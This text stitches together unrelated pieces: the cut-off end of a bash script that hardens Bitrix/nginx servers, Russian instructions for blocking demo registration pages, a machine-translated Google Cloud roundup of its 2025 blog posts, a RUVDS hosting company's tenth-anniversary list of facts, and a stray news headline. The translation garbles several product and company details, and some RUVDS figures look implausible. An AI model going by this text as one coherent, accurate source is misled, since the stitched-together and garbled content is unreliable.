$target_file${reset}\nNginx restarted successfully" [[ "$config_type" == "direct" ]] && \rm -f "$target_file.bak" return 0 else echo "${red}nginx -t failed after fix${reset}" [[ "$config_type" == "direct" ]] && \mv -f "$target_file.bak" "$target_file" || \rm -f "$target_file" check_nginx && echo "${green}Reverting success. No changes was made.${reset}" || \ echo "${red}Nginx configtest error. Check nginx -t manually.${reset}" return 1 fi } # Main logic: apply fix based on environment if [[ -f "$CONF_FILE" ]] then apply_fix "$CONF_FILE" "direct" else if [[ -x "$MGR_BIN" ]] then apply_fix "/etc/nginx/vhosts-includes/bitrix_reg_global_deny.conf" "include" else echo "${red}No /etc/nginx/bx/conf/bitrix.conf or ISP Manager were found. Cannot apply fix.${reset}" return 1 fi fi } # Execute all three security fixes bitrix_fix_reg_paths mysql_all_db_del_bitrixsupport block_all_register_in_nginx

Как ограничить регистрацию на демо-страницах
Если регистрация пользователей на сайте не требуется, добавьте следующий блок в начало файла /etc/nginx/bx/conf/bitrix.conf:
#Deny 1C site user registration if ($arg_register = "yes") { return 403; }
Если регистрация в целом нужна, но нужно закрыть устаревшие формы:

Добавьте файлы .htaccess со следующим содержимым:
Order allow,deny Deny from all
Добавьте их в директории (только если они существуют):
bitrix/wizards/bitrix/demo/public_files/ru/auth/.htaccess bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/custom-registration/.htaccess bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/my-components/.htaccess bitrix/wizards/bitrix/demo/modules/subscribe/public/personal/subscribe/.htaccess install/wizards/bitrix/infoportal/site/public/ru/personal/profile/.htaccess install/wizards/bitrix/infoportal/site/public/ru/board/my/.htaccess
Рекомендуем проверить ваш проект как можно скорее.

Контент и редакционные материалы Google Cloud
В эпоху искусственного интеллекта, когда один год может казаться десятым, вас можно простить за то, что вы забыли о событиях прошлого месяца, не говоря уже о событиях января. Чтобы освежить вашу память, мы проанализировали данные о количестве читателей главных новостей о продуктах и ​​компаниях за 2025 год. И поскольку мы публикуем много отличных материалов, отражающих лидерство в отрасли, и историй успеха клиентов, мы также использовали эти данные. Вкратце: самые популярные статьи в основном совпадали с нашими крупнейшими анонсами. Но не всегда — в этом году в списке было немало неожиданных хитов. Читайте дальше, чтобы вспомнить этот грандиозный год и, возможно, открыть для себя несколько жемчужин, которые вы могли пропустить.

cloud.google.com/blog/products/gcp/top-google-cloud-blogs-2025/

Январь
2025 год начался успешно с важных новинок в области виртуальных машин, базовых инструментов для ИИ, а также инструментов как для Kubernetes, так и для специалистов по работе с данными. Мы также запустили серию статей « Как это делает Google », посвященную внутренним системам и инженерным принципам, лежащим в основе современного конвейера обнаружения угроз. Мы показали разработчикам, как начать работу с JAX, и сделали прогнозы по развитию ИИ на предстоящий год. Читатели с интересом узнали о том, как L'Oréal создала свою платформу MLOps, и о новаторской работе Deutsche Börse в области облачной финансовой торговли.

Новости о продуктах
Упростите работу разработчиков с Kubernetes с помощью KRO.
Blackwell уже здесь — новые виртуальные машины A4 на базе NVIDIA B200 теперь доступны в режиме предварительного просмотра.
Представляем Vertex AI RAG Engine: масштабируйте свой конвейер Vertex AI RAG с уверенностью.
Представляем BigQuery metastore — унифицированный сервис метаданных с поддержкой Apache Iceberg.
C4A, первый процессор Google Axion, теперь доступен в продаже с SSD-накопителем Titanium.

Лидерство в интеллектуальной сфере:
Как это делает Google: создание высококачественной, масштабируемой и современной системы обнаружения угроз2025 год и следующие главы в истории искусственного интеллекта
Истории клиентов
Как акселератор L'Oréal Tech Accelerator создал свою комплексную платформу MLOpsТорговля в облаке: уроки облачной торговой платформы Deutsche Börse Group
Февраль
Существуют продукты на основе ИИ, а есть продукты, усовершенствованные с помощью ИИ. В этом месяце лидер продаж, Gen AI Toolbox for Databases, относится ко второй категории. В этом месяце читатели также серьезно отнеслись к обучению: блоги о повышении квалификации, ресурсах и сертификации возглавили рейтинги. Результаты нашего партнерства с Anthropic попали в наш список самых читаемых материалов, а руководители инженерных подразделений подробно рассказали о масштабных усилиях Google по оптимизации энергопотребления систем ИИ. Руководители с удовольствием прочитали статью о том, как агенты будут раскрывать информацию в неструктурированных данных (которые составляют 90% информационных активов предприятий), и ознакомились с отрезвляющим отчетом об ИИ и киберпреступности. Во время Mobile World Congress мы увидели значительный интерес к нашей работе с лидерами телекоммуникационной отрасли, такими как Vodafone Italy и Amdocs.

Новости о продукции и компании:
Объявляем о начале публичного бета-тестирования Gen AI Toolbox для баз данных.Получите сертификат Google Cloud в 2025 году — и узнайте, почему последние исследования говорят о важности этого.Узнайте о карьерных возможностях и квалификационных требованиях в Google Cloud в нашем новом разделе Career Dreamer.Анонсируем Claude 3.7 Sonnet, первую гибридную модель логического мышления от Anthropic, доступную на платформе Vertex AI.
Лидерство мнений
Разработка устойчивого ИИ: подробный анализ эффективности TPU и выбросов на протяжении всего жизненного цикла.От скрытых данных к ценным выводам: как агенты искусственного интеллекта упрощают работу с данными.Новые отчеты об искусственном интеллекте и киберпреступности подчеркивают необходимость внедрения передовых методов обеспечения безопасности.
Истории клиентов
Преобразование данных: как Vodafone Italy модернизировала свою архитектуру данных в облаке.Оптимизация сети с помощью ИИ: раскрытие потенциала 5G с Amdocs.

Март
Когда мы объявили о нашем намерении приобрести стартап в сфере кибербезопасности Wiz, это была крупнейшая сделка Google за всю историю и крупнейшая технологическая сделка года. Мы развили этот успех в области безопасности, запустив AI Protection. Мы также расширили свое присутствие в странах Северной Европы, открыв новый регион, и анонсировали открытую модель Gemma 3 на платформе Vertex AI. Тем временем мы объяснили угрозу, которую представляют для работодателей северокорейские IT-специалисты, показали читателям внутреннюю структуру файловой системы Colossus и вспомнили о том, чему мы научились за 25 лет работы в сфере создания центров обработки данных. Читателей заинтересовал подход Levi к данным и их интеграция в будущие проекты в области ИИ, а в честь фестиваля игр GDC наши партнеры по ИИ поделились новыми взглядами на «живые игры».

Новости о продукции и компании
Google + Wiz: Укрепление безопасности мультиоблачных решенийПредставляем AI Protection: безопасность для эпохи ИИ.Эй, Свериге! Google Cloud запускает новый регион в ШвецииАнонс Gemma 3 на Vertex AI.Лидерство мнений
Главная внутренняя угроза: северокорейские IT-специалисты.«Колосс под капотом»: как мы обеспечиваем производительность SSD по ценам HDD.3 ключевых урока, извлеченных из 25 лет работы с крупномасштабными вычислительными системами для складских помещений.Истории клиентов
Безупречная стратегия работы с данными Levi's: как специально разработанный ИИ предотвращает «загонение» иконы в рамки.Кооперативный режим: Новые партнеры определяют будущее игр с помощью ИИ.
Апрель
В апреле состоялась Google Cloud Next, наша флагманская ежегодная конференция. От Firebase Studio, Ironwood TPUs и Google Agentspace до Vertex AI, Cloud WAN и Gemini 2.5 — сложно ограничиться лишь несколькими историями, было так много потрясающих событий (полный список можно найти в обзоре мероприятия ). Тем временем наша команда системных разработчиков обсуждала инновации для контроля теплового режима инфраструктуры центров обработки данных. А на конференции RSA мы представили наше видение агентного центра управления безопасностью будущего. Что касается клиентов, мы рассказали о стартапах, сыгравших главную роль на Next, и заглянули за кулисы «Волшебника страны Оз» в Sphere.
Новости о продукции и компании
Представляем Firebase Studio и инструменты разработки для агентов, позволяющие создавать проекты с помощью Gemini.Представляем TPU-процессоры Ironwood и новые инновации в области гиперкомпьютеров с искусственным интеллектом.Vertex AI предлагает новые способы создания и управления многоагентными системами.Масштабируйте корпоративный поиск и внедрение агентов с помощью Google Agentspace.Облачная WAN: объедините ваше глобальное предприятие с помощью сети, созданной для эпохи искусственного интеллекта.Gemini 2.5 расширяет возможности логического мышления для корпоративных сценариев использования.Начало применения агентного ИИ в операциях по обеспечению безопасности на конференции RSAC 2025Лидерство мнений
Инфраструктура для ИИ находится на пике популярности. Новые системы распределения электроэнергии и жидкостного охлаждения могут этому способствовать.3 новых способа использования ИИ в качестве помощника в обеспечении безопасностиИстории клиентов
Глобальные стартапы строят будущее искусственного интеллекта на платформе Google Cloud.Магия искусственного интеллекта, лежащая в основе предстоящего проекта Sphere «Волшебник страны Оз».
Май
Учебный год подходил к концу, но читатели снова включились в обучение, чтобы получить сертификаты лидеров в области генеративного ИИ. Вы также были в восторге от новых моделей ИИ для работы с медиаконтентом в Vertex AI, доступности Claude Opus 4 и Claude Sonnet 4 от Anthropic. Мы также узнали, что вы очень рады использовать ИИ для генерации SQL-кода и использовать Cloud Run в качестве платформы для ваших приложений ИИ. Мы описали шаги по построению четко определенной стратегии работы с данными и показали правительствам, как ИИ может реально улучшить их уровень безопасности. А что касается клиентов, мы запустили наши обзоры «Крутые вещи, созданные клиентами» и опубликовали материалы о Формуле E и MLB.
Google Cloud объявляет о первой в своем роде сертификации лидеров в области генеративного искусственного интеллекта.
Расширение возможностей Vertex AI за счет следующей волны генеративных моделей искусственного интеллекта для работы с медиаконтентом.
Анонс Claude Opus 4 и Claude Sonnet 4 от Anthropic на Vertex AI.
Лидерство мнений
Как научить ИИ писать качественные SQL-запросы: объяснение методов преобразования текста в SQL.Развертывание ИИ стало проще: развертывание в Cloud Run из AI Studio или любого клиента MCP.Разработка стратегии работы с данными для эпохи искусственного интеллекта.Как правительства могут использовать ИИ для улучшения обнаружения угроз и снижения затратИстории клиентов
Крутые вещи, созданные клиентами: майский выпускРасширяя границы возможностей электромобильности: Mountain Recharge в Формуле EИспользование ИИ для создания по-настоящему персонализированных видеороликов с лучшими моментами матчей MLB: как сервис MLB My Daily Story создает такие яркие моменты.
Июнь
До этого момента перспективы генеративного ИИ в основном были связаны с текстом и кодом. Запуск Veo 3 изменил все. Разработчики, создающие и развертывающие приложения ИИ, восприняли доступность графических процессоров в Cloud Run как большую удачу, и мы продолжили нашу неуклонную работу над инновациями Gemini с помощью 2.5 Flash и Flash-Lite. Мы также поделились своими мыслями о защите агентов ИИ. А чтобы узнать, как на самом деле создавать этих агентов, читатели обратились к статьям о Box, британской компании по недвижимости Schroders и французском люксовом конгломерате LVMH (владельце Louis Vuitton, Channel, Sephora и других).
Вы мечтаете об этом, Veo воплощает это в жизнь: Veo 3 теперь доступен для всех в режиме публичного предварительного просмотра на Vertex AI.
Технология Cloud Run GPUs, теперь доступная для всех, упрощает выполнение задач искусственного интеллекта.
Успех Gemini продолжается с выпуском 2.5 Flash-Lite и появлением в продаже версий 2.5 Flash и Pro на Vertex AI.
Лидерство мнений
Спросите OCTO: Как разобраться в работе агентов искусственного интеллектаМнение руководителей служб информационной безопасности облачных сервисов: как Google обеспечивает безопасность агентов искусственного интеллекта.Истории клиентов
Секрет интеллектуального анализа документов: Box создает улучшенные агенты извлечения данных с использованием фреймворка A2A.Как компания Schroders создала своего многоагентного помощника для финансового анализа и исследованийВнутри идеально ухоженной базы данных LVMH, где зарождаются роскошные агенты искусственного интеллекта.

Июль
Читатели отвлеклись от темы ИИ, чтобы почитать о сетевой инфраструктуре — а точнее, о новом трансатлантическом кабеле Sol. Затем они вернулись к ИИ: новые модели генерации видео в Vertex; важнейший компонент для создания агентов с сохранением состояния и учетом контекста; и новый набор инструментов для подключения данных BigQuery к средам Agent Development Kit (ADK) и Multi-Cloud Protocol (MCP). Разработчики приветствовали интеграцию Cloud Run и Docker Compose, а руководители компаний с удовольствием ознакомились со списком практических применений агентов ИИ в реальном мире.

В этом месяце мы вернулись к основам безопасности, изучив сохранение некоторых проблем безопасности облачных сервисов. А затем снова вернулись к искусственному интеллекту, представив нашего агента Big Sleep. Читателей также заинтересовало, как ИИ упрощает ведение документации для медсестер в HCA Healthcare, инициативы Ulta Beauty по хранению данных и ведению документации с помощью мобильных устройств, а также переход SmarterX с Snowflake на BigQuery.

Повышение отказоустойчивости сети с помощью трансатлантического кабеля Sol.
Veo 3 и Veo 3 Fast теперь общедоступны на Vertex AI.
Анонсируем доступность банка памяти Vertex AI Agent Engine Memory Bank для всех пользователей в режиме предварительного просмотра.
BigQuery и ADK и MCP: ускорьте разработку агентов с помощью нового набора инструментов от BigQuery.
От локального сервера до запуска: упростите развертывание приложений ИИ с помощью Cloud Run и Docker Compose.
Лидерство мнений
Безопасное облако. Небезопасное использование. (И что с этим можно сделать)Наш агент из компании Big Sleep совершил большой рывок.Истории клиентов
Как медсестры определяют будущее искусственного интеллекта в крупнейшей сети больниц Америки, HCA Healthcare.Ulta Beauty переосмысливает розничную торговлю косметикой с помощью BigQuery.Переход SmarterX с Snowflake на BigQuery ускорил создание моделей и сократил затраты вдвое.
Август
Искусственный интеллект — это ресурсоемкий и энергоемкий процесс; в новом техническом документе мы опубликовали конкретные данные о потреблении энергии нашей инфраструктурой ИИ. Затем все пришли в восторг от Gemini 2.5 Flash Image на Vertex AI, и разработчики, имея в своем распоряжении множество технических чертежей, приступили к работе над своими проектами в области ИИ. Летнее затишье не помешало нашим экспертам по безопасности заняться серьезной проблемой кибермошенничества. Мы также внимательно изучили конкретные инструменты, используемые агентами в Wells Fargo, и то, как Keeta обрабатывает 11 миллионов блокчейн-транзакций в секунду с помощью Spanner.

Сколько энергии потребляет искусственный интеллект Google? Мы произвели расчеты.
Создание визуализаций нового поколения с помощью Gemini 2.5 Flash Image (он же nano-banana) на платформе Vertex AI.
Более 101 варианта использования ИИ нового поколения с техническими схемами.
Лидерство мнений
В отчете New Threat Horizons подробно описываются меняющиеся риски и способы защиты от них.Как руководители служб информационной безопасности и советы директоров могут помочь в борьбе с мошенничеством, совершаемым с использованием киберпреступлений.Как прогнозирование погоды на основе искусственного интеллекта может изменить работу энергетических компанийИстории клиентов
Как Wells Fargo использует Google Cloud AI для расширения возможностей своих сотрудников с помощью инструментов для управления персоналомКак Киита обрабатывает 11 миллионов финансовых транзакций в секунду в блокчейне с помощью Spanner
Сентябрь
Искусственный интеллект — это крутая технология, но как её монетизировать? Один из ответов — протокол агентских платежей (AP2). Разработчики и специалисты по обработке данных, готовящиеся к внедрению ИИ, активно изучали блоги о новых предложениях в области облачных вычислений, отчете DORA за 2025 год и новых обучающих программах. Руководители компаний внимательно изучали наши идеи по построению агентской стратегии работы с данными и делали заметки о лучших способах запуска использования ИИ. И поскольку эра ИИ затрагивает всех, включая руководителей предприятий, мы объяснили, что значит быть «двуязычным» в области ИИ и безопасности. Затем на форуме Google AI Builders Forum стартапы рассказали, как ИИ, инфраструктура и сервисы Google поддерживают их рост. Не остались в стороне и такие предприятия, как Target и Mr. Cooper, которые также продемонстрировали свои возможности в области ИИ.

Развитие коммерции с использованием искусственного интеллекта с помощью нового протокола агентских платежей (AP2)
Новый специалист по анализу данных: от аналитика к архитектору агентов.
Представляем доклад DORA за 2025 год: Состояние разработки программного обеспечения с использованием искусственного интеллекта.
Возвращаемся в школу ИИ: новый курс обучения от Google Cloud, который обеспечит вам навыки работы с ИИ в будущем.
Лидерство мнений
Создание более совершенных платформ данных для ИИ и не только.Для получения конкурентного преимущества советам директоров следует быть «двуязычными» в области ИИ и безопасности.Руководство для руководителей по пяти основным вопросам искусственного интеллектаИстории клиентов
Как технологический стек Google Cloud в области искусственного интеллекта помогает современным стартапамОт запроса до корзины: подробности обновления поисковой строки Target с помощью AlloyDB AI.Как г-н Купер собрал «команду» агентов искусственного интеллекта для решения сложных вопросов, связанных с ипотекой.
Октябрь
Добро пожаловать в эру Gemini Enterprise, которая предоставляет крупным организациям улучшенную безопасность, контроль данных и расширенные возможности агентов. Чтобы помочь вам подготовиться, мы перезапустили ряд улучшений нашей обучающей платформы и добавили новые программы по коммерции и безопасности. Пока разработчики изучали тонкости подсказок Veo, мы обсуждали обеспечение безопасности цепочки поставок ИИ, создание агентов ИИ для кибербезопасности и обороны, а также новое видение моделирования экономических угроз. Мы сотрудничали с PayPal, чтобы обеспечить коммерцию в чатах с ИИ, немецкий Институт Планка показал, как ИИ может помочь в обмене глубокими научными знаниями, а DZ Bank разработал новаторские способы повышения надежности финансов на основе блокчейна.

Представляем Gemini Enterprise
Google Skills: Ваш новый дом для облачного обучения
Обеспечение безопасной работы веб-платформы с помощью reCAPTCHA
Партнеры, обеспечивающие работу агентской экосистемы Gemini Enterprise.
Лидерство мнений
Полное руководство по подсказкам для Veo 3.1Как обеспечить безопасность цепочки поставок ИИКак это делает Google: создание агентов искусственного интеллекта для кибербезопасности и защиты.Истории клиентов
Представляем решение для автоматизированной электронной коммерции от PayPal и Google Cloud для продавцов.Как Институт Макса Планка делится экспертными знаниями с помощью мультимодальных агентовОракулы DeFi: как DZ Bank создает надежные потоки данных для децентрализованных приложений
Ноябрь
Будь то Gemini 3, Nana Banana Pro или наши TPU Ironwood седьмого поколения, в этом месяце мы предоставили корпоративным клиентам доступ ко всем нашим новейшим и лучшим технологиям в области искусственного интеллекта. Мы также подробно рассказали о том, как создали крупнейший в истории кластер Kubernetes, насчитывающий 130 000 узлов, и объявили о новом сотрудничестве с AWS для улучшения связи между облаками.

Тем временем мы обновили наши выводы о злонамеренном использовании ИИ со стороны злоумышленников и о рентабельности инвестиций в ИИ для обеспечения безопасности, а руководители компаний высоко оценили нашу статью о программировании атмосферы. Затем, как раз к праздникам, мы рассмотрели, как Mattel использует инструменты ИИ для обновления своих игрушек, а Waze показал, как компания использует Memorystore для поддержания потока трафика в праздничный сезон.

Внедрение Gemini 3 в корпоративную среду
Как это делает Google: создание крупнейшего из известных кластеров Kubernetes, насчитывающего 130 000 узлов.
Представляем Nano Banana Pro для всех строителей и предприятий.
Анонсируем общедоступность Ironwood TPU и новых виртуальных машин Axion для развития вычислительной техники.
AWS и Google Cloud сотрудничают для упрощения работы в многооблачных сетях.
Лидерство мнений
Последние достижения в использовании инструментов искусственного интеллекта злоумышленникамиЗа кулисами ажиотажа: анализ новых данных о рентабельности инвестиций в ИИ в сфере безопасности.Как кодирование атмосферы может помочь лидерам действовать быстрееИстории клиентов
Революционное решение от Mattel: как искусственный интеллект превращает отзывы клиентов в обновления продуктов в режиме реального времени.Waze обеспечивает бесперебойную работу дорожной сети благодаря более чем 1 миллиону считываний данных в реальном времени в секунду из Memorystore.

Декабрь
Год подходит к концу, но нам еще многое предстоит рассказать. Первые результаты показывают, что вас интересовали способы устранения уязвимости React2Shell, поддержка MCP во всех сервисах Google, а также запуск раннего доступа к AlphaEvolve. И не будем забывать о Gemini 3 Flash, который привлекает внимание своей высокоуровневой логикой, потрясающей скоростью и гибким профилем стоимости.

Что всё это значит для вас и вашего будущего? Важно понимать контекст этих технологических разработок, особенно в области ИИ. Например, команда DORA подготовила руководство о том, как высокоэффективные команды, работающие с платформами, могут интегрировать возможности ИИ в свои рабочие процессы, мы обсудили, как выглядит рабочая сила, готовая к использованию ИИ, а наши коллеги из Управления директора по информационной безопасности опубликовали свои прогнозы по кибербезопасности на 2026 год. Более того (защитник), вы могли бы поступить, как Стефен Карри из «Голден Стэйт Уорриорз», и обратиться к Gemini для анализа своей игры, чтобы подготовиться к предстоящему году. Мы будем следить за тем, как Стеф справится с советами Gemini в Рождество.

Ответ на уязвимость React2Shell (CVE-2025-55182): Обеспечьте безопасность ваших рабочих нагрузок React и Next.js.
Объявляем о поддержке протокола контекста модели (MCP) для сервисов Google.
AlphaEvolve на Google Cloud: ИИ для обнаружения и оптимизации агентов.
Представляем Gemini 3 Flash: интеллект и скорость для предприятий.
Лидерство мнений
От внедрения к результатам: применение модели возможностей искусственного интеллекта DORA на практике.Является ли владение навыками работы с ИИ необходимым компонентом или результатом подготовки квалифицированных кадров для этой области?Наш прогноз по кибербезопасности на 2026 год.Истории клиентов
Что Стефен Карри узнал о своей игре от специально созданного агента Gemini

Всем привет! В этом году нам исполнилось 10 лет! Не так много по меркам истории, но Вояджер за это время вон куда улетел. В этой статье будет 27 коротких интересных фактов о том, что произошло за эти годы — уверены, про многое вы даже не знали (и не могли знать).



1. У компании три дня рождения
18 сентября 2015 года был зарегистрирован домен ruvds.com16 октября 2015 года были прописаны NS-записи и сайт впервые вышел в онлайн16 декабря 2015 — первый пользователь сервиса!Первые два мы уже отметили :) А вот с третьим можете нас поздравлять прямо сегодня в комментариях.

2. 315 500 491 секунда аптайма
Мы на связи 10,004 лет. И с каждой секундой значение растёт!

Посчитаем в наших любимых космических масштабах. Voyager-1 (самый быстрый из двух) удаляется от Солнечной системы со скоростью примерно 17 километров в секунду, то есть за время нашего аптайма на одометре «путешественника» набежало 5 365 508 347 км — не парсек и даже не световой год, но всегда надо к чему-то стремиться! Расстояние от Земли до Солнца (1 астрономическая единица) на данный момент 149 597 870,7 км, то есть за время нашей работы далёкий странник прошёл это расстояние 35,85 раз — 17 раз сгонял туда-обратно и сейчас завершает 18-й ;)

3. 1 207 572 созданных виртуальных сервера
Столько серверов было создано за всё время нашего существования на момент написания публикации. Прямо сейчас эта циферка уже выросла — актуальное значение мы выводим в футере нашего сайта:

Если бы каждый сервер был сухой рисинкой весом в 0,03 грамма, то получилось бы скромных 36,227 кг. Но если этот рис сварить (каждая рисинка станет вдвое тяжелее), то полученной массы хватило бы на 3 864 ролла Филадельфия (гугл выдаёт расход в 150 г риса на 8 штук). До задачи про зерно и шахматы ещё далеко, но опять же, есть к чему стремиться. Да и аппетит пусть нагуляется — ниже будет ещё кое-что вкусное.

4. 20 дата-центров
И было это так:
2016 — открыли свой ДЦ Rucloud в Королёве2017 — Цюрих (Швейцария)2018 — Лондон, M9 (Москва)2019 — Франкфурт, Екатеринбург, Казань и Санкт-Петербург2020 — Останкино (Москва), Амстердам и Новосибирск2023 — Астана, Алматы, Владивосток, Измир (Турция) + Космический ЦОД RUVDS (спутник)2024 — Арктический ЦОД (временный))2025 — Ереван (Армения), Краснодар, Мурманск, Омск и Уфа

Практически про каждую локацию мы писали что-то интересное, но не хочется превращать эту публикацию в подборку ссылок, так что ищите в блоге самостоятельно.

Кстати, совсем скоро — новый спутник-платформа и ЦОД в Антарктиде, stay tuned ;)



5. Суммарное потребление наших серверов — более 2 МВт·ч в сутки
Вроде совсем немного, но в то же время не так уж и мало. Гугл подсказывает интересные аналогии:
Примерно столько же потребляет коттеджный посёлок на 60–80 частных домов среднего размера. Примерно столько же вырабатывало бы за день 400–600 (в зависимости от подготовки) человек на велотренажёрах. Можно было бы полностью зарядить ~20–34 тыс. макбуков (Pro/Air), то есть на всех сотрудников Яндекса должно хватить )
6. 8198 физических процессорных ядер
Ядра — чистый изумруд! :)

7. 128 000 Тб оперативки (ОЗУ)
Таком суммарный объём оперативки (ОЗУ) наших серверов. Мы используем надёжную серверную оперативную память DDR4 с частотой 3200 МГц и DDR5.

8. Будни поддержки за 10 лет
Мало приютить у себя каждого клиента — нужно помочь ему в том случае, если у него возникают проблема. Вот несколько цифр из будней нашей технической поддержки:
146 575 тикетов в хелпдеске за 10 лет657 000 отправленных смс63 781 принятых звонковЧто касается смс, то в основном речь про сообщения двухфакторной авторизацией — они по 92 символа. 77 — в сообщении об оплате или неоплате, которых тоже хватает. Если посчитать среднее значение в 85 символов, то получим 55 845 000 символов. По неточной информации из сети можно узнать, что в стандартном издании произведения «Война и мир» примерно 700 000 символов с пробелами, то есть за всё время на телефонах наших пользователей суммарно осело около 80 копий издания.

9. ~116 тысяч обращений в онлайн-чате
То есть примерно по 11600 в год или 31 в день. Но, конечно, в разные дни нагрузка может отличаться — например, в дни аварий (а у нас они тоже случаются) бывает нескольких сотен сообщений и до 200 звонков (и около 500 в месяц в спокойное время).

10. 361 статья в справочнике RUVDS
Заходите, читайте и мотайте на ус — там целая база знаний. Если чего-то не хватает — сообщите, добавим или напишем вместе.

11. Более 200 партнёров по партнёрской программе
Всех поимённо не помним, но спасибо каждому из них!
Процент отчислений партнёру со списаний приведённого клиента стартует с 15% и увеличивается по мере роста числа активных серверов привлечённых клиентов и общей заработанной суммы:
от 0 активных серверов или заработанных 0 руб. – 15%от 30 активных серверов или заработанных 20 000 руб. – 20%от 60 активных серверов или заработанных 40 000 руб. – 25%
12. 75 590 799 бонусов начислили клиентам
Просто факт с такими вот цифрами
ruvds.com/ru/bonus/
ruvds.com/ru/helpcenter/bonusnaya-programma-ruvds/

13. 3 корпоративных блога
Хабр, извини, но ты у нас не один: мы также ведём блоги на VC и Pikabu. Но, положа руку на сердце, можем уверенно сказать — Хабр любим больше всего.

Несколько достижений блога RUVDS на Хабре:
8 лет на первом месте рейтинга среди всех компаний4690 публикаций (все с положительным рейтингом), 329 новостей и 58 постовРейтинга блога в 4137 единиц, абсолютный рекорд площадкиИтоги блога за год в сравнении с предыдущими годами мы традиционно подведём ближе к Новому году.

14. 5200 Хабрабургеров
Помните Хабрабургер?! Вспоминаем, и вкусовые сосочки невольно возбуждаются. По информации от нашего партнёра Burger Heroes, за всё время существования бургера было изготовлено 5200 порций или 2% от объёма продаж сети на тот момент!

Кстати, калорийность бургера была в районе 617 ккал (что в 2+ раза больше, чем у биг-мака). Суммарно имеем дело с 3 208 000 ккал. Если за марафон сжигается примерно 3000 ккал, то наших бургеров хватило бы на 1069 марафонов или на 45 131 километров — достаточно, чтобы пробежаться по экватору (и ещё бы несколько тысяч км осталось на карманные расходы).

А ещё мы были замечены в изготовлении космической еды в рамках наших космических активностей, о которых чуть ниже.

15. Сварили 100 тонн пива Smart admin
«Лёгкий, светлый, ароматный эль с низким уровнем горечи и бархатным обволакивающим вкусом, который отправляет тебя на светлую сторону» — так про нашу коллаборацию с Beer Bros Brewery написано на сервисе UNTAPPD.


Но не все знают, что ещё было несколько тонн Dark admin для фанатов тёмной стороны.


И ещё был совсем уж лимитированный шотландский эль Duke Nukem, созданный в коллаборации с Ричардом Греем (Levelord) по лицензии GearBox — со вкусом копчёного бекона ;)


16. 33 часов
Про этот факт совсем мало кто знает, так как часы были выпущены совсем в небольшом количестве. Часовое производство «Русское Время» помогло нам запечатлеть в металле, стекле и коже наши воспоминания и эмоции от развёртывания нашего оборудования в Арктике.



17. 1 воздушный шар, 1 стратостат и 2 спутника
Сначала батут, потом воздушный шар, потом стратосфера и наконец-то выше облаков, космос! Один спутник был успешно запущен, все материалы и подробности можно найти на отдельном сайте или у нас в блоге.

Второй спутник полетит в космос в конце декабря, на борту которого будут крутые статьи пользователей Хабра, первый космический антивирус от Лаборатории Касперского и кое-что ещё интересное — следите за новостями.

18. 4 хакерских квеста
Шредер для денег, рояль, азот и котики, спутник — ну же, вспоминайте, как не спали вместе с нами и пытали свою удачу и смекалку. Ещё со своей инфраструктурой мы участвовали в Standoff 12 — это, кстати, был первый CTF на спутнике в мире.



Несколько ссылок, чтобы поностальгировать: раз, два, три, четыре, пять и шесть.
Количество участников квестов: 620, 2340, 177, 213 + 15 команд пентестеров общей численностью 100 человек.
Кстати, 0 — столько профессиональнов пентесторов смогли взломать спутник в рамках киберучений Standoff.

19. Провели 3 квиза
В сети бескрайнее множество информации, полезной и бесполезной. Когда знаешь какой-нибудь интересный факт, так и хочется рассказать его кому-то… или усложнить задачу — предложить угадать правильный ответ из нескольких, среди которых невольно хочется добавить каплю юмора. Ну любим мы такое!

Некоторые вопросы в них уже могли потерять актуальность, но всё равно можете попытать свою удачу и любознательность:
Пол лимона — приуроченный к 500000-му виртуальному серверуКосмический — 22 вопроса на тему космосаНа все 100
20. 3 конкурса лучших статей на Хабре и Космотекст
Три раза мы проводили конкурс лучших статей на Хабре (первый, второй, третий), а совсем недавно завершили Космотекст, в рамках которого отправим в космос несколько десятков отборных статей с Хабра.


21. Три раза поддержали Технотекст
Сами мы в нём тоже участвуем и даже иногда занимаем призовые места — по оценкам других членов жюри.
Кстати, совсем скоро вроде как стартует Технотекст-8 — восьмой конкурс технических статей Хабра, который мы, забегая вперёд, в очередной раз планируем поддержать классными призами и помощью в жюри. Попытаем удачу и в этот раз!

22. Ачивки
Не стыдно достать парадную одежду со следующими медальками:
Мировой рекорд — за прыжок из стратосферы, подробнее тутРазместили первый в истории сайт в космосеПервый в мире CTF в космосе«Лучший блог о системном администрировании» от Хабра в 2021 годуНесколько побед в «Технотекстах» разных лет1 патент на ПО — у нас там собственные сетевые драйверы для повышения эффективности распределения каналов связи между пользователями, драйверы сертифицированы Microsoft для Hyper-V. Есть регистрация в Федеральном реестре интеллектуальной собственности.Первые в России застраховали свою ответственность перед третьими лицами в AIG за несанкционированное публичное раскрытие персональных данных и корпоративной информации — это случилось ещё в 2017 году.Также есть 4 награды от ЦОДЫ.рф:
«Креатив года» в 2021 «Хостер года» в 2023«Человек года» в 2024«Креатив года» в 2025Бережно храним и планируем бороться за новые. Спасибо всем, кто нас поддерживает!

23. Среди лиц бренда RUVDS есть 2 настоящих космонавта
Вы их наверняка знаете и уже что-то читали про них:
Михаил Корниенко — Герой России, лётчик-космонавт; пребывание в космосе — 516 дней 10 часов и 1 минутаАлександр Лазуткин — герой России, лётчик-космонавт, бортинженер орбитальной станции «МИР»; Пребывание в космосе — 184 дня 22 часа и 7 минут

24. 2 совместных игры
Совместно с ветераном игровой индустрии, дизайнером уровней культового Duke Nukem — Ричарда Грея, мы сделали две игры
Атомный ГрафъСпутник против мусораДа, это далеко не Red Dead Redemption, но всем иногда хочется позалипать в каком-нибудь тайм-киллере (а на момент запуска можно было ещё и выиграть ценные призы).

25. 1 битва роботов-хоккеистов
Поучаствовали и в такой забаве :) О том, как готовили хоккеистов, рассказывали в отдельной публикации.


26. 1 регата
Иногда нужно выдернуть шнур выдавить стекло закрыть ноутбук, выключить телефон и выбраться куда-то на природу. В таком формате нам больше всего запомнилась регата, гонка парусных судов. 400 участников, 45 яхт и 5 дней гонки под парусом — травили и набивали как могли.



27. Стали членом Ассоциации участников отрасли ЦОД
Этим летом мы стали 50-ми участниками ассоциации, а что это и зачем вкратце рассказываем тут.

Возможно, кто-то прочитал всё это и подумал, что мы участвуем вообще во всём :) И отчасти будет прав: мы любим совмещать полезное (работу) с приятным (развлечения), потому что только так можно любить то, что делаешь. У нас полно амбициозных планов и целей, а также мы как никогда открыты к новым интересным партнёрствам и проектам — пишите нам.

Надеемся, вам было интересно. Начинаем второй десяток — спасибо, что вы с нами!

13.11.2025
Компания GreenMDC в 3 раза увеличила производственные мощности

